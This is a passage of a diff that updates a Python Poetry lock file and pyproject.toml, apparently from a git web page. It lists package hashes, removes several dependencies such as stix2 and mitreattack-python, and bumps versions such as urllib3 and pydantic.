{file = "simplejson-3.20.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:db0804d04564e70862ef807f3e1ace2cc212ef0e22deb1b3d6f80c45e5882c6b"},
|
||||
{file = "simplejson-3.20.2-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:979ce23ea663895ae39106946ef3d78527822d918a136dbc77b9e2b7f006237e"},
|
||||
{file = "simplejson-3.20.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a2ba921b047bb029805726800819675249ef25d2f65fd0edb90639c5b1c3033c"},
|
||||
{file = "simplejson-3.20.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:12d3d4dc33770069b780cc8f5abef909fe4a3f071f18f55f6d896a370fd0f970"},
|
||||
{file = "simplejson-3.20.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:aff032a59a201b3683a34be1169e71ddda683d9c3b43b261599c12055349251e"},
|
||||
{file = "simplejson-3.20.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:30e590e133b06773f0dc9c3f82e567463df40598b660b5adf53eb1c488202544"},
|
||||
{file = "simplejson-3.20.2-cp312-cp312-win32.whl", hash = "sha256:8d7be7c99939cc58e7c5bcf6bb52a842a58e6c65e1e9cdd2a94b697b24cddb54"},
|
||||
{file = "simplejson-3.20.2-cp312-cp312-win_amd64.whl", hash = "sha256:2c0b4a67e75b945489052af6590e7dca0ed473ead5d0f3aad61fa584afe814ab"},
|
||||
{file = "simplejson-3.20.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:90d311ba8fcd733a3677e0be21804827226a57144130ba01c3c6a325e887dd86"},
|
||||
{file = "simplejson-3.20.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:feed6806f614bdf7f5cb6d0123cb0c1c5f40407ef103aa935cffaa694e2e0c74"},
|
||||
{file = "simplejson-3.20.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6b1d8d7c3e1a205c49e1aee6ba907dcb8ccea83651e6c3e2cb2062f1e52b0726"},
|
||||
{file = "simplejson-3.20.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:552f55745044a24c3cb7ec67e54234be56d5d6d0e054f2e4cf4fb3e297429be5"},
|
||||
{file = "simplejson-3.20.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c2da97ac65165d66b0570c9e545786f0ac7b5de5854d3711a16cacbcaa8c472d"},
|
||||
{file = "simplejson-3.20.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f59a12966daa356bf68927fca5a67bebac0033cd18b96de9c2d426cd11756cd0"},
|
||||
{file = "simplejson-3.20.2-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:133ae2098a8e162c71da97cdab1f383afdd91373b7ff5fe65169b04167da976b"},
|
||||
{file = "simplejson-3.20.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7977640af7b7d5e6a852d26622057d428706a550f7f5083e7c4dd010a84d941f"},
|
||||
{file = "simplejson-3.20.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b530ad6d55e71fa9e93e1109cf8182f427a6355848a4ffa09f69cc44e1512522"},
|
||||
{file = "simplejson-3.20.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:bd96a7d981bf64f0e42345584768da4435c05b24fd3c364663f5fbc8fabf82e3"},
|
||||
{file = "simplejson-3.20.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f28ee755fadb426ba2e464d6fcf25d3f152a05eb6b38e0b4f790352f5540c769"},
|
||||
{file = "simplejson-3.20.2-cp313-cp313-win32.whl", hash = "sha256:472785b52e48e3eed9b78b95e26a256f59bb1ee38339be3075dad799e2e1e661"},
|
||||
{file = "simplejson-3.20.2-cp313-cp313-win_amd64.whl", hash = "sha256:a1a85013eb33e4820286139540accbe2c98d2da894b2dcefd280209db508e608"},
|
||||
{file = "simplejson-3.20.2-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:a135941a50795c934bdc9acc74e172b126e3694fe26de3c0c1bc0b33ea17e6ce"},
|
||||
{file = "simplejson-3.20.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25ba488decb18738f5d6bd082018409689ed8e74bc6c4d33a0b81af6edf1c9f4"},
|
||||
{file = "simplejson-3.20.2-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d81f8e982923d5e9841622ff6568be89756428f98a82c16e4158ac32b92a3787"},
|
||||
{file = "simplejson-3.20.2-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cdad497ccb1edc5020bef209e9c3e062a923e8e6fca5b8a39f0fb34380c8a66c"},
|
||||
{file = "simplejson-3.20.2-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4a3f1db97bcd9fb592928159af7a405b18df7e847cbcc5682a209c5b2ad5d6b1"},
|
||||
{file = "simplejson-3.20.2-cp36-cp36m-musllinux_1_2_aarch64.whl", hash = "sha256:215b65b0dc2c432ab79c430aa4f1e595f37b07a83c1e4c4928d7e22e6b49a748"},
|
||||
{file = "simplejson-3.20.2-cp36-cp36m-musllinux_1_2_i686.whl", hash = "sha256:ece4863171ba53f086a3bfd87f02ec3d6abc586f413babfc6cf4de4d84894620"},
|
||||
{file = "simplejson-3.20.2-cp36-cp36m-musllinux_1_2_ppc64le.whl", hash = "sha256:4a76d7c47d959afe6c41c88005f3041f583a4b9a1783cf341887a3628a77baa0"},
|
||||
{file = "simplejson-3.20.2-cp36-cp36m-musllinux_1_2_x86_64.whl", hash = "sha256:e9b0523582a57d9ea74f83ecefdffe18b2b0a907df1a9cef06955883341930d8"},
|
||||
{file = "simplejson-3.20.2-cp36-cp36m-win32.whl", hash = "sha256:16366591c8e08a4ac76b81d76a3fc97bf2bcc234c9c097b48d32ea6bfe2be2fe"},
|
||||
{file = "simplejson-3.20.2-cp36-cp36m-win_amd64.whl", hash = "sha256:732cf4c4ac1a258b4e9334e1e40a38303689f432497d3caeb491428b7547e782"},
|
||||
{file = "simplejson-3.20.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:6c3a98e21e5f098e4f982ef302ebb1e681ff16a5d530cfce36296bea58fe2396"},
|
||||
{file = "simplejson-3.20.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:10cf9ca1363dc3711c72f4ec7c1caed2bbd9aaa29a8d9122e31106022dc175c6"},
|
||||
{file = "simplejson-3.20.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:106762f8aedf3fc3364649bfe8dc9a40bf5104f872a4d2d86bae001b1af30d30"},
|
||||
{file = "simplejson-3.20.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b21659898b7496322e99674739193f81052e588afa8b31b6a1c7733d8829b925"},
|
||||
{file = "simplejson-3.20.2-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:78fa1db6a02bca88829f2b2057c76a1d2dc2fccb8c5ff1199e352f213e9ec719"},
|
||||
{file = "simplejson-3.20.2-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:156139d94b660448ec8a4ea89f77ec476597f752c2ff66432d3656704c66b40e"},
|
||||
{file = "simplejson-3.20.2-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:b2620ac40be04dff08854baf6f4df10272f67079f61ed1b6274c0e840f2e2ae1"},
|
||||
{file = "simplejson-3.20.2-cp37-cp37m-musllinux_1_2_ppc64le.whl", hash = "sha256:9ccef5b5d3e3ac5d9da0a0ca1d2de8cf2b0fb56b06aa0ab79325fa4bcc5a1d60"},
|
||||
{file = "simplejson-3.20.2-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:f526304c2cc9fd8b8d18afacb75bc171650f83a7097b2c92ad6a431b5d7c1b72"},
|
||||
{file = "simplejson-3.20.2-cp37-cp37m-win32.whl", hash = "sha256:e0f661105398121dd48d9987a2a8f7825b8297b3b2a7fe5b0d247370396119d5"},
|
||||
{file = "simplejson-3.20.2-cp37-cp37m-win_amd64.whl", hash = "sha256:dab98625b3d6821e77ea59c4d0e71059f8063825a0885b50ed410e5c8bd5cb66"},
|
||||
{file = "simplejson-3.20.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:b8205f113082e7d8f667d6cd37d019a7ee5ef30b48463f9de48e1853726c6127"},
|
||||
{file = "simplejson-3.20.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:fc8da64929ef0ff16448b602394a76fd9968a39afff0692e5ab53669df1f047f"},
|
||||
{file = "simplejson-3.20.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:bfe704864b5fead4f21c8d448a89ee101c9b0fc92a5f40b674111da9272b3a90"},
|
||||
{file = "simplejson-3.20.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40ca7cbe7d2f423b97ed4e70989ef357f027a7e487606628c11b79667639dc84"},
|
||||
{file = "simplejson-3.20.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0cec1868b237fe9fb2d466d6ce0c7b772e005aadeeda582d867f6f1ec9710cad"},
|
||||
{file = "simplejson-3.20.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:792debfba68d8dd61085ffb332d72b9f5b38269cda0c99f92c7a054382f55246"},
|
||||
{file = "simplejson-3.20.2-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e022b2c4c54cb4855e555f64aa3377e3e5ca912c372fa9e3edcc90ebbad93dce"},
|
||||
{file = "simplejson-3.20.2-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:5de26f11d5aca575d3825dddc65f69fdcba18f6ca2b4db5cef16f41f969cef15"},
|
||||
{file = "simplejson-3.20.2-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:e2162b2a43614727ec3df75baeda8881ab129824aa1b49410d4b6c64f55a45b4"},
|
||||
{file = "simplejson-3.20.2-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:e11a1d6b2f7e72ca546bdb4e6374b237ebae9220e764051b867111df83acbd13"},
|
||||
{file = "simplejson-3.20.2-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:daf7cd18fe99eb427fa6ddb6b437cfde65125a96dc27b93a8969b6fe90a1dbea"},
|
||||
{file = "simplejson-3.20.2-cp38-cp38-win32.whl", hash = "sha256:da795ea5f440052f4f497b496010e2c4e05940d449ea7b5c417794ec1be55d01"},
|
||||
{file = "simplejson-3.20.2-cp38-cp38-win_amd64.whl", hash = "sha256:6a4b5e7864f952fcce4244a70166797d7b8fd6069b4286d3e8403c14b88656b6"},
|
||||
{file = "simplejson-3.20.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:b3bf76512ccb07d47944ebdca44c65b781612d38b9098566b4bb40f713fc4047"},
|
||||
{file = "simplejson-3.20.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:214e26acf2dfb9ff3314e65c4e168a6b125bced0e2d99a65ea7b0f169db1e562"},
|
||||
{file = "simplejson-3.20.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:2fb1259ca9c385b0395bad59cdbf79535a5a84fb1988f339a49bfbc57455a35a"},
|
||||
{file = "simplejson-3.20.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c34e028a2ba8553a208ded1da5fa8501833875078c4c00a50dffc33622057881"},
|
||||
{file = "simplejson-3.20.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b538f9d9e503b0dd43af60496780cb50755e4d8e5b34e5647b887675c1ae9fee"},
|
||||
{file = "simplejson-3.20.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ab998e416ded6c58f549a22b6a8847e75a9e1ef98eb9fbb2863e1f9e61a4105b"},
|
||||
{file = "simplejson-3.20.2-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6a8f1c307edf5fbf0c6db3396c5d3471409c4a40c7a2a466fbc762f20d46601a"},
|
||||
{file = "simplejson-3.20.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:5a7bbac80bdb82a44303f5630baee140aee208e5a4618e8b9fde3fc400a42671"},
|
||||
{file = "simplejson-3.20.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:5ef70ec8fe1569872e5a3e4720c1e1dcb823879a3c78bc02589eb88fab920b1f"},
|
||||
{file = "simplejson-3.20.2-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:cb11c09c99253a74c36925d461c86ea25f0140f3b98ff678322734ddc0f038d7"},
|
||||
{file = "simplejson-3.20.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:66f7c78c6ef776f8bd9afaad455e88b8197a51e95617bcc44b50dd974a7825ba"},
|
||||
{file = "simplejson-3.20.2-cp39-cp39-win32.whl", hash = "sha256:619ada86bfe3a5aa02b8222ca6bfc5aa3e1075c1fb5b3263d24ba579382df472"},
|
||||
{file = "simplejson-3.20.2-cp39-cp39-win_amd64.whl", hash = "sha256:44a6235e09ca5cc41aa5870a952489c06aa4aee3361ae46daa947d8398e57502"},
|
||||
{file = "simplejson-3.20.2-py3-none-any.whl", hash = "sha256:3b6bb7fb96efd673eac2e4235200bfffdc2353ad12c54117e1e4e2fc485ac017"},
|
||||
{file = "simplejson-3.20.2.tar.gz", hash = "sha256:5fe7a6ce14d1c300d80d08695b7f7e633de6cd72c80644021874d985b3393649"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "six"
|
||||
version = "1.17.0"
|
||||
description = "Python 2 and 3 compatibility utilities"
|
||||
optional = false
|
||||
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"},
|
||||
{file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "sortedcontainers"
|
||||
version = "2.4.0"
|
||||
@@ -1701,86 +918,6 @@ files = [
|
||||
{file = "sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "stix2"
|
||||
version = "3.0.1"
|
||||
description = "Produce and consume STIX 2 JSON content"
|
||||
optional = false
|
||||
python-versions = ">=3.6"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "stix2-3.0.1-py2.py3-none-any.whl", hash = "sha256:827acf0b5b319c1b857c9db0d54907bb438b2b32312d236c891a305ad49b0ba2"},
|
||||
{file = "stix2-3.0.1.tar.gz", hash = "sha256:2a2718dc3451c84c709990b2ca220cc39c75ed23e0864d7e8d8190a9365b0cbf"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
pytz = "*"
|
||||
requests = "*"
|
||||
simplejson = "*"
|
||||
stix2-patterns = ">=1.2.0"
|
||||
|
||||
[package.extras]
|
||||
semantic = ["haversine", "rapidfuzz"]
|
||||
taxii = ["taxii2-client (>=2.3.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "stix2-patterns"
|
||||
version = "2.0.0"
|
||||
description = "Validate STIX 2 Patterns."
|
||||
optional = false
|
||||
python-versions = ">=3.6"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "stix2-patterns-2.0.0.tar.gz", hash = "sha256:07750c5a5af2c758e9d2aa4dde9d8e04bcd162ac2a9b0b4c4de4481d443efa08"},
|
||||
{file = "stix2_patterns-2.0.0-py2.py3-none-any.whl", hash = "sha256:ca4d68b2db42ed99794a418388769d2676ca828e9cac0b8629e73cd3f68f6458"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
antlr4-python3-runtime = ">=4.9.0,<4.10.0"
|
||||
six = "*"
|
||||
|
||||
[package.extras]
|
||||
dev = ["bumpversion", "check-manifest", "coverage", "pre-commit", "pytest", "pytest-cov", "sphinx", "sphinx-prompt", "tox"]
|
||||
docs = ["sphinx", "sphinx-prompt"]
|
||||
test = ["coverage", "pytest", "pytest-cov"]
|
||||
|
||||
[[package]]
|
||||
name = "tabulate"
|
||||
version = "0.9.0"
|
||||
description = "Pretty-print tabular data"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "tabulate-0.9.0-py3-none-any.whl", hash = "sha256:024ca478df22e9340661486f85298cff5f6dcdba14f3813e8830015b9ed1948f"},
|
||||
{file = "tabulate-0.9.0.tar.gz", hash = "sha256:0095b12bf5966de529c0feb1fa08671671b3368eec77d7ef7ab114be2c068b3c"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
widechars = ["wcwidth"]
|
||||
|
||||
[[package]]
|
||||
name = "tqdm"
|
||||
version = "4.67.1"
|
||||
description = "Fast, Extensible Progress Meter"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "tqdm-4.67.1-py3-none-any.whl", hash = "sha256:26445eca388f82e72884e0d580d5464cd801a3ea01e63e5601bdff9ba6a48de2"},
|
||||
{file = "tqdm-4.67.1.tar.gz", hash = "sha256:f8aef9c52c08c13a65f30ea34f4e5aac3fd1a34959879d7e59e63027286627f2"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
colorama = {version = "*", markers = "platform_system == \"Windows\""}
|
||||
|
||||
[package.extras]
|
||||
dev = ["nbval", "pytest (>=6)", "pytest-asyncio (>=0.24)", "pytest-cov", "pytest-timeout"]
|
||||
discord = ["requests"]
|
||||
notebook = ["ipywidgets (>=6)"]
|
||||
slack = ["slack-sdk"]
|
||||
telegram = ["requests"]
|
||||
|
||||
[[package]]
|
||||
name = "typer"
|
||||
version = "0.20.0"
|
||||
@@ -1826,80 +963,25 @@ files = [
|
||||
[package.dependencies]
|
||||
typing-extensions = ">=4.12.0"
|
||||
|
||||
[[package]]
|
||||
name = "tzdata"
|
||||
version = "2025.2"
|
||||
description = "Provider of IANA time zone data"
|
||||
optional = false
|
||||
python-versions = ">=2"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "tzdata-2025.2-py2.py3-none-any.whl", hash = "sha256:1a403fada01ff9221ca8044d701868fa132215d84beb92242d9acd2147f667a8"},
|
||||
{file = "tzdata-2025.2.tar.gz", hash = "sha256:b60a638fcc0daffadf82fe0f57e53d06bdec2f36c4df66280ae79bce6bd6f2b9"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "urllib3"
|
||||
version = "2.5.0"
|
||||
version = "2.6.0"
|
||||
description = "HTTP library with thread-safe connection pooling, file post, and more."
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "urllib3-2.5.0-py3-none-any.whl", hash = "sha256:e6b01673c0fa6a13e374b50871808eb3bf7046c4b125b216f6bf1cc604cff0dc"},
|
||||
{file = "urllib3-2.5.0.tar.gz", hash = "sha256:3fc47733c7e419d4bc3f6b3dc2b4f890bb743906a30d56ba4a5bfa4bbff92760"},
|
||||
{file = "urllib3-2.6.0-py3-none-any.whl", hash = "sha256:c90f7a39f716c572c4e3e58509581ebd83f9b59cced005b7db7ad2d22b0db99f"},
|
||||
{file = "urllib3-2.6.0.tar.gz", hash = "sha256:cb9bcef5a4b345d5da5d145dc3e30834f58e8018828cbc724d30b4cb7d4d49f1"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
brotli = ["brotli (>=1.0.9) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=0.8.0) ; platform_python_implementation != \"CPython\""]
|
||||
brotli = ["brotli (>=1.2.0) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=1.2.0.0) ; platform_python_implementation != \"CPython\""]
|
||||
h2 = ["h2 (>=4,<5)"]
|
||||
socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"]
|
||||
zstd = ["zstandard (>=0.18.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "wheel"
|
||||
version = "0.45.1"
|
||||
description = "A built-package format for Python"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "wheel-0.45.1-py3-none-any.whl", hash = "sha256:708e7481cc80179af0e556bbf0cc00b8444c7321e2700b8d8580231d13017248"},
|
||||
{file = "wheel-0.45.1.tar.gz", hash = "sha256:661e1abd9198507b1409a20c02106d9670b2576e916d58f520316666abca6729"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
test = ["pytest (>=6.0.0)", "setuptools (>=65)"]
|
||||
|
||||
[[package]]
|
||||
name = "win32-setctime"
|
||||
version = "1.2.0"
|
||||
description = "A small Python utility to set file creation time on Windows"
|
||||
optional = false
|
||||
python-versions = ">=3.5"
|
||||
groups = ["main"]
|
||||
markers = "sys_platform == \"win32\""
|
||||
files = [
|
||||
{file = "win32_setctime-1.2.0-py3-none-any.whl", hash = "sha256:95d644c4e708aba81dc3704a116d8cbc974d70b3bdb8be1d150e36be6e9d1390"},
|
||||
{file = "win32_setctime-1.2.0.tar.gz", hash = "sha256:ae1fdf948f5640aae05c511ade119313fb6a30d7eabe25fef9764dca5873c4c0"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
dev = ["black (>=19.3b0) ; python_version >= \"3.6\"", "pytest (>=4.6.2)"]
|
||||
|
||||
[[package]]
|
||||
name = "xlsxwriter"
|
||||
version = "3.2.9"
|
||||
description = "A Python module for creating Excel XLSX files."
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "xlsxwriter-3.2.9-py3-none-any.whl", hash = "sha256:9a5db42bc5dff014806c58a20b9eae7322a134abb6fce3c92c181bfb275ec5b3"},
|
||||
{file = "xlsxwriter-3.2.9.tar.gz", hash = "sha256:254b1c37a368c444eac6e2f867405cc9e461b0ed97a3233b2ac1e574efb4140c"},
|
||||
]
|
||||
zstd = ["backports-zstd (>=1.0.0) ; python_version < \"3.14\""]
|
||||
|
||||
[metadata]
|
||||
lock-version = "2.1"
|
||||
python-versions = "^3.11"
|
||||
content-hash = "d226dd1f9a9f877a040180bcf867f2ce26590bd9048b587a86797a5a6f8e1989"
|
||||
content-hash = "1ea6e10e22c41f9d2354512ef74ef21deb442141ed65922a97d129d55f877b9f"
|
||||
|
||||
+3
-5
@@ -11,12 +11,10 @@ pyyaml = "^6.0.3"
|
||||
jsonschema = "^4.25.1"
|
||||
requests = "^2.32.5"
|
||||
ruamel-yaml = "^0.18.16"
|
||||
pydantic = "^2.12.3"
|
||||
pydantic = "^2.12.5"
|
||||
typer = "^0.20.0"
|
||||
hypothesis = "^6.148.2"
|
||||
pytest = "^9.0.1"
|
||||
jinja2 = "^3.1.6"
|
||||
mitreattack-python = "^5.3.0"
|
||||
hypothesis = "^6.148.7"
|
||||
pytest = "^9.0.2"
|
||||
|
||||
|
||||
[build-system]
|
||||
|
||||
Reference in New Issue
Block a user